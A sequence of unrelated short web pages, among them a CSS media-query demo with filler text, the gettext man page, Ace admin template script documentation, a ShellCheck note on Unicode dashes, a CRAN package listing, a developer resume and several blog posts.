<meta name="viewport" content="width=device-width">
%, vw
@media
Learn more here: MDN
See the Pen Media by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen Media 2 by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen Desktop first by Pylypenko Svitlana (@mirantel) on CodePen.
See the Pen Mobile first by Pylypenko Svitlana (@mirantel) on CodePen.
One goal: keep products useful to every user!
Echo Park 8-bit sustainable umami deep v Kickstarter. DIY cliche typewriter brunch, Odd Future sriracha pickled aesthetic. Farm-to-table bespoke fingerstache, kale chips umami brunch letterpress.
Whatever authentic disrupt, you probably haven’t heard of them direct trade mlkshk Etsy. Gluten-free roof party plaid four loko quinoa.
Echo Park 8-bit sustainable umami deep v Kickstarter.
Retro meh brunch aesthetic Cosby sweater Shoreditch. Banksy Tumblr sriracha, flexitarian pug chia master cleanse vinyl wayfarers fanny pack bespoke Helvetica roof party. Messenger bag retro cred Portland next level. Yr stumptown Schlitz Carles deep v small batch. Hella sustainable messenger bag, leggings skateboard literally1 bicycle rights H20 mumblecore banh mi DIY VHS. Semiotics four loko street art asymmetrical.
Retro meh brunch aesthetic Cosby sweater Shoreditch. Banksy Tumblr sriracha, flexitarian pug chia master cleanse vinyl wayfarers fanny pack bespoke Helvetica roof party. Messenger bag retro cred Portland next level. Yr stumptown Schlitz Carles deep v small batch. Hella sustainable messenger bag, leggings skateboard literally1 bicycle rights H20 mumblecore banh mi DIY VHS. Semiotics four loko street art asymmetrical. Asymmetrical <paleo>
you probably haven’t heard of.
Flannel bicycle rights locavore selfies skateboard. Authentic fanny pack paleo four loko bespoke. Artisan tattooed chia XOXO ennui, lomo disrupt 8-bit art party Tumblr scenester.
Echo Park 8-bit sustainable umami deep v Kickstarter. DIY cliche typewriter brunch, Odd Future sriracha pickled aesthetic. Farm-to-table bespoke fingerstache, kale chips umami brunch.
American Apparel letterpress. Whatever authentic disrupt, you probably haven’t heard of them direct trade mlkshk Etsy. Gluten-free roof party plaid American Apparel four loko quinoa.
| Gentrify | Twee | Artisan | Banksy |
|---|---|---|---|
| Messenger | Mixtape | Small batch | Bicycle rights |
| Meggings | Freegan | Retro biodiesel | Slow-carb |
| Vegan | Occupy | Normcore | Put a bird on it |
| Next level | Selfies | Sustainable | Organic |
| Umami | Asymmetrical | Keytar | Craft beer |
| Biodiesel | Haven’t heard | Skateboard | Farm-to-table |
| Gentrify | Twee | Artisan | Banksy |
|---|---|---|---|
| Messenger | Mixtape | Small batch | Bicycle rights |
| Meggings | Freegan | Retro biodiesel | Slow-carb |
| Vegan | Occupy | Normcore | Put a bird on it |
| Next level | Selfies | Sustainable | Organic |
| Umami | Asymmetrical | Keytar | Craft beer |
| Biodiesel | Haven’t heard | Skateboard | Farm-to-table |

<title>Shower</title>
<meta charset="UTF-8">
<link rel="stylesheet" href="screen.css">

<title>Shower</title>
<meta charset="UTF-8">
<link rel="stylesheet" href="screen.css">

<title>Shower</title>
<meta charset="UTF-8">
<link rel="stylesheet" href="screen.css">

<title>Shower</title>
<meta charset="UTF-8">
<link rel="stylesheet" href="screen.css">

<title>Shower</title>
<meta charset="UTF-8">
<link rel="stylesheet" href="screen.css">

Before they sold out master


|
gettext − translate message |
|
gettext [OPTION] [[TEXTDOMAIN]
MSGID] |
|
The gettext program translates a natural language message into the user’s language, by looking up the translation in a message catalog. Display native language translation of a textual message. |
|
−d, −−domain=TEXTDOMAIN |
|
retrieve translated messages from TEXTDOMAIN |
|
−e |
enable expansion of some escape sequences |
|||
|
−E |
(ignored for compatibility) |
|
−h, −−help |
|
display this help and exit |
|
−n |
suppress trailing newline |
|
−V, −−version |
|
display version information and exit |
|
[TEXTDOMAIN] MSGID |
|
retrieve translated message corresponding to MSGID from TEXTDOMAIN |
|
If the TEXTDOMAIN parameter is not given, the domain is determined from the environment variable TEXTDOMAIN. If the message catalog is not found in the regular directory, another location can be specified with the environment variable TEXTDOMAINDIR. When used with the −s option the program behaves like the ‘echo’ command. But it does not simply copy its arguments to stdout. Instead those messages found in the selected catalog are translated. Standard search directory: c:/devel/target/b87d44310420e22f628591825d528a98/share/locale |
|
Written by Ulrich Drepper. |
|
Report bugs to<EMAIL_ADDRESS>|
|
Copyright © 1995-1997, 2000-2007 Free Software
Foundation, Inc. License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html> |
|
The full documentation for gettext is maintained as a Texinfo manual. If the info and gettext programs are properly installed at your site, the command |
|
info gettext |
|
should give you access to the complete manual. |


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dist/js
folder.
assets/js
folder.
ace-elements.js contains custom plugins such as file input, scrollbars, colorpicker and wrappers for spinner, wizard, treeview and wysiwyg plugins.
Please note that if you want to use one of these wrappers, you still need to include the plugin's script.
For example:
<script src="fuleux/spinner.js"></script> <script src="ace.elements.js"></script>You can find more info about this in each plugin's section.
ace-extra.js which has cookie/localStorage functionality to save & retrieve user's settings.
Also, sidebar collapse/expand, fixing navbar/sidebar/breadcrumbs are defined inside this file.
For more info about page options and settings, please see Settings section.
And for info about cookies and storage you can refer to Cookies & Storage section.
x-editable/ace-editable.js which contains 5 additional inline editable addons: date, slider, spinner, wysiwyg and image.
You can find more about about these addons here and about x-editable plugin here.
ace.js and ace-elements.js
are generated using in-browser Javascript builder by merging separate script files that are inside
assets/js/ace
folder, which contains:
assets/js/ace/ace.js
assets/js/ace/ace.sidebar.js
assets/js/ace/ace.widget-box.js
assets/js/ace/elements.scroller.js
assets/js/ace/elements.fileinput.js
assets/js/ace
For more information about any of the above files you can refer to Javascript builder as it has some description about each file.
assets/js
folder.
dist/js
folder.
I have put some scripts that are similar in separate folders.
But that's optional and you can have your own structure.
For example:
assets/js/date-time
assets/js/fuelux
assets/js/markdown
assets/js/x-editable
assets/js/flot
assets/js/jqGrid
mustache/app/data/pages
folder.
mustache/app/data/pages/index.json
assets/js/jquery-ui.custom.js
which is a custom build which contains stripped down functionality needed by some plugins and sections.
assets/js/jquery-ui.full.js
is a full version containing all of jQuery UI's functionality used in jQuery UI sample page.
function.bind
polyfill to html5shiv
HEAD
element:
mustache/app/views/layouts/partials/_shared/_template/styles.mustache
)
<head> . . . <script src="ace-extra.min.js"></script> <!--[if lte IE 8]> <script src="html5shiv.min.js"></script> <script src="respond.min.js"></script> <![endif]--> </head>
mustache/app/views/layouts/partials/_shared/_template/scripts.mustache
)
. . . <!--[if !IE]> --> <script src="jquery.min.js"></script> <!-- <![endif]--> <!--[if lte IE 9]> <script src="jquery1x.min.js"></script> <![endif]--> <script src="bootstrap.min.js"></script> <!-- ie8 canvas if required for plugins such as charts, etc --> <!--[if lte IE 8]> <script src="excanvas.min.js"></script> <![endif]--> <script src="plugin1.min.js"></script> <script src="plugin2.min.js"></script> <script src="plugin3.min.js"></script> <script src="ace-elements.min.js"></script> <script src="ace.min.js"></script> <script type="text/javascript"> //If page has any inline scripts, it goes here jQuery(function($) { alert('hello!'); }); </script> </body>


Add an event to the map |
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Event DetailsAddress:Time Range: Summary: Description: asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf asdfa sdf asdf asdf sdf |
|
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Map coming...
|
|


|
Pacman
|
| CBFS_solution | Struct containing count of steps and direction of BFS solution |
| CEndGameTextureStruct | Struct containing needed variables for end game textures |
| CfinalScoreTexturesStruct | Struct containing needed variables for final score textures |
| CGameStruct | Struct containing needed variables for game start and end |
| CGameTextureStruct | Struct containing needed variables for game textures |
| CHighscoreStruct | Struct which contains info needed for highscore (name and points) |
| CPacStructStruct | Struct which contains everything needed for pacman and ghosts (coordinates, direction and game mode) |
| CPauseMenuTexturesStruct | Struct containing variables needed for pause menu textures |
| CSaveGameStruct | Struct which contains info about in game data |
| CScreenStruct | Struct which contains needed variables for SDL screen |
| CSettingsTexturesStruct | Struct containing needed variables for settings textures |


Here are some games and activities we hope you will enjoy. Watch carefully, we plan to add other exciting things from time to time!
|
Bible trivia game. Test your knowledge of the Bible and Biblical events. | |
|
Submit your answer to one of several Bible quizzes and receive the correct answer back by e-mail. | |
|
Select from several catagories, from arts and crafts to outdoor play. | |
|
Where's Waldo? At the Circus. Can you find him? | |
|
A new puzzle each day. Try to solve them all! |


--- layout: post title: Wii have no regrets says Nintendo Boss date: 2006-06-13 00:00:00 categories: amusing play ---
Wii have no regrets says Nintendo Boss: "n a comment that would have Freud frothing at the mouth, Satoru said that a good Wii conjured the idea of fun for everyone. It offers easy-playing games, regardless of sex, age or skills."


This is a unicode dash. Delete and retype as ASCII minus.
[[ 3 –gt 2 ]] # Uses unicode en-dash character
[[ 3 -gt 2 ]] # Uses regular ASCII hyphen-minus character
A character that looks similar to -
has made its way into your code. This is usually due to copy-pasting from blogs and other websites that formatted code as text, replacing the ASCII hyphen-minus with a Unicode dash character.
To fix it, simply delete and retype it.
For a large script, you can use your editor's Search&Replace by copy-pasting the bad dash.
None. If you want a literal Unicode dash character, just quote it.


--- sort_order: 25 tei_id: rdx_v6nmq.p.idm140456970353728 annotation_count: 0 images: small-thumbnail: https://readux.ecds.emory.edu/books/readux:v5mxs/pages/readux:v6nmq/mini-thumbnail/ json: https://readux.ecds.emory.edu/books/readux:v5mxs/pages/readux:v6nmq/info/ full: https://readux.ecds.emory.edu/books/readux:v5mxs/pages/readux:v6nmq/fs/ page: https://readux.ecds.emory.edu/books/readux:v5mxs/pages/readux:v6nmq/single-page/ thumbnail: https://readux.ecds.emory.edu/books/readux:v5mxs/pages/readux:v6nmq/thumbnail/ title: Page 21 number: 21 permalink: "/pages/21/" ---


{% extends "app/layout.html" %} {% block content %}
A dashboard to explore how often, the frequency, a component is being used.
A dashboard to analyse the E2E scenario of Submissions - Projects - Experiment/Material - Ingredient.
A dashboard to analyse the E2E scenario of Experiments - Projects - Experiment/Material - Ingredient.
A dashboard to analyse the E2E scenario of Sales (Sales Forecast) - Material - Ingredient.


Simulates somatic single base substitutions carried in cancer genomes. By only providing a human reference genome, substitutions that result from mutational processes operative in every cancer genome can be generated.
| Version: | 0.17.3 |
| Depends: | R (≥ 3.0.0), doParallel, utils, foreach, parallel, stats |
| Imports: | Biostrings, BSgenome, GenomeInfoDb, GenomicRanges, IRanges, XVector |
| Suggests: | BSgenome.Hsapiens.UCSC.hg38 |
| Published: | 2017-04-21 |
| Author: | Nan Zhou |
| Maintainer: | Nan Zhou <zhnanx at gmail.com> |
| License: | GPL-2 |
| NeedsCompilation: | no |
| CRAN checks: | simMP results |
| Reference manual: | simMP.pdf |
| Package source: | simMP_0.17.3.tar.gz |
| Windows binaries: | r-devel: simMP_0.17.3.zip, r-release: simMP_0.17.3.zip, r-oldrel: simMP_0.17.3.zip |
| OS X binaries: | r-release: not available, r-oldrel: simMP_0.17.3.tgz |
Please use the canonical form https://CRAN.R-project.org/package=simMP to link to this page.


Advanced access permissions can be set in the Girder interface.
Anyone can see these projects.
Anyone can see or edit these projects at any time. Log in or Register to take control of who can see or edit these projects.


Carefully created collections
Made the hard way
Create your account.It's totally free.
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SunTrust Bank Inc., is a one of the leading bank working with millions of consumers in US. Online Banking
was designed to handle automation, more accuracy and fast processing of requests from customers to carry
out their various banking needs. The online banking application allows users to open accounts online, check
statements, transfer funds, order checks etc. The primary objective of this project is to design, develop,
and deploy the next version of online banking and to increase ability to manage content from the Interwoven
Content Management System.
UI Development
- Developed front end for the entire website using Angular JS, HTML5, CSS3, and JavaScript.
- Converted raw images and layouts from a graphic designer into CSS/HTML themes.
- Followed Web Accessibility Guidelines while coding the website.
- Implemented client side validations in registration forms, login and logout forms using Java Script.
- Extensively used JQUERY, JSON, AJAX and DOM scripting to create interactive web applications like message posting and auto complete form validations.
- Used JQuery for interaction between JavaScript and HTML.
- Worked with the design of the templates and skins in CSS.
- Used Web Developer, Firebug, and IE developer toolbar for debugging and browser compatibility
- Adopted a cross browser and cross platform approach to make the website more versatile and Supportive.
- Been an active team player, helped in fixing bugs and also carried out troubleshooting
- Adhered to corporate standards with respect to problem, change and configuration management
- Worked on Responsive Designing for websites for Tablets and Mobiles for Expressionery site.
Environment
Angular JS
HTML5
CSS3
Javascript
jQuery
Java
SQL Devloper
Jasmine


To enhance your Hooting Yard experience, and to provide you with unalloyed glee—or at the very least a short break from your habitual sobbing into a filthy napkin—it is recommended that you download Hooting Yard Service Pack 6.
Service Pack 6 contains a bundle of exciting features which integrate Hooting Yard with popular web drivel such as Witter, Faceditch, Dobsonpamphlet, Piffle, Skippy, Zippy and Michel Foucault's Insurrection Of Subjugated Knowledges Lite. As an added bonus, this update will cause your computer to do a lot of buzzing and whirring for no apparent reason, and it may even hiss and emit jets of steam.
Press the button below when you are “in the zone”*. Note that the button will remain inactive until you enter “the zone”, which you can do by casting aside that filthy napkin and rereading every single word posted in Hooting Yard since December 2003, learning selected passages by heart, and then declaiming them in a booming voice from atop an atoll or a grassy knoll, stunning passers-by with your erudition.
* NOTE : The zone referred to ought not be confused with other zones into which you may be enticed from time to time.


Secretariat
Secretariat is a movie starring Diane Lane, John Malkovich, and Margo Martindale. Penny Chenery Tweedy and colleagues guide her long-shot but precocious stallion to set, in 1973, the unbeaten record for winning the Triple Crown.


--- layout: post date: 2013-10-11 title: Ideas for charity fundraising months description: Hijack a month name and create your own charity fundraising month. Inspired by November and Stoptober. tags: - Charity/Digital socialtitle: socialdescription: socialimageurl: socialimagealt: ---
Prompted by Howard Lake’s collection of charity campaigns that hijack month names, here is a year’s worth of month-punning ideas that any charity is free to take and run with. I hereby relinquish all claim on these names and concepts. You don’t even have to credit me. You’re welcome.
Concept: Support (wholeheartedly) your rival football team, sing their songs, cheer their goals
Suitable causes: men’s health
Concept: Walk like one of the Thunderbirds puppets (it can be done)
Suitable causes: international rescue
Concept: Sell as much charity tat (pens, mugs, etc) as you can, run a league table with rewards for the winners
Suitable causes: all
Concept: Shop local – no supermarkets, no online shopping
Suitable causes: local community
Concept: Dress up in one of those baby costumes (WARNING: link is a bit creepy)
Suitable causes: infant health
Concept: Do something to encourage insect life
Suitable causes: wildlife
Concept: Go kosher for a month
Suitable causes: Jewish
Concept: Cause beneficiaries and/or supporters draw something every day to illustrate the cause, best ones exhibited / auctioned off
Suitable for: any human cause
Concept: Walk everywhere, no cars, no public transport
Suitable causes: health
Concept: Perform air guitar in public every day for a month
Suitable causes: hearing
Concept: Base all your decisions on the toss of a coin
Suitable causes: gambling
Concept: Live by begging and borrowing (but not stealing)
Suitable causes: homelessness


@* * Copyright 2023 HM Revenue & Customs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @import uk.gov.hmrc.govukfrontend.views.html.components._ @import uk.gov.hmrc.govukfrontend.views.html.components.{FormWithCSRF => PlayFrontendFormWithCSRF} @import controllers.register.company.directors.routes._ @import models.NormalMode @import models.Mode @this( layout: templates.Layout, formHelper: PlayFrontendFormWithCSRF, govukErrorSummary: GovukErrorSummary, submit_button: components.submit_button ) @(index: Int, fullName: String, mode:Mode)(implicit request: Request[_], messages: Messages) @layout(pageTitle = messages("confirmDeleteDirector.title")) { @formHelper(action = ConfirmDeleteDirectorController.onSubmit(mode, index), Symbol("autoComplete") -> "off") { @components.heading(messages("confirmDeleteDirector.heading", fullName)) @submit_button("site.confirm")
} }